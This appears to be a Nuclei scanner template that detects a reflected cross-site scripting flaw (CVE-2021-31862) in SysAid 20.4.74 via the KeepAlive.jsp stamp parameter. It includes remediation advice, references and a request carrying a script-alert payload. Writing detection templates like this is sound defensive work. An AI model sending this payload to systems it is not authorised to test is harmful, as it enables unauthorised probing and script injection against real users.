id: CVE-2021-31862 info: name: SysAid 20.4.74 - Cross-Site Scripting author: jas37 severity: medium description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter. remediation: | Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability. reference: - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md - https://www.sysaid.com/product/on-premise/latest-release - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-31862 cwe-id: CWE-79 epss-score: 0.00141 epss-percentile: 0.49722 cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:* metadata: max-request: 1 vendor: sysaid product: sysaid tags: cve,cve2021,xss,sysaid http: - method: GET path: - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' matchers: - type: dsl dsl: - '(body == "false ")' - 'status_code == 200' condition: and # digest: 490a00463044022012542103ab6605a3a0004d5d45781a06c9c2dcacda732aee8c2a364f512205e5022047b95fd65fa9f297c497983c202e42c1d595b0f74ad828cbbdcb419c615e02e0:922c64590222798bb761d5b6d8e72950